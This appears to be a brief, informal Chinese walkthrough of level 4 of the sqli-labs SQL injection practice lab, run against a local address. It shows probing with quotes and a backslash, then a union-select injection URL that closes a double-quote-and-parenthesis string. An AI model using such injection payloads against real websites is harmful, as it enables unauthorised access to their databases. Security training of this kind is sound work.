sqli-labs通关-------04lesson-double_quotes

到这个我们发现输入单引号和双引号好像都没啥反应http://127.0.0.1:90/sqli-labs/Less-4/?id=1’)

？？？？？？？？？

所以我们输入一个转义符进去，报错了。

为啥输入转移符

1.因为我碰到了输错了。。。。。

         2.我发现好像换别的字符不行。。

        3.so转移符可以进去把sql语句的字符串特殊字符转义，于是赶得巧了

http://127.0.0.1:90/sqli-labs/Less-4/?id=1')\

我们把sql语句打印出来看看

至此

结束。

http://127.0.0.1:90/sqli-labs/Less-4/?id=1”) and 1=2 union select 1,2,3--+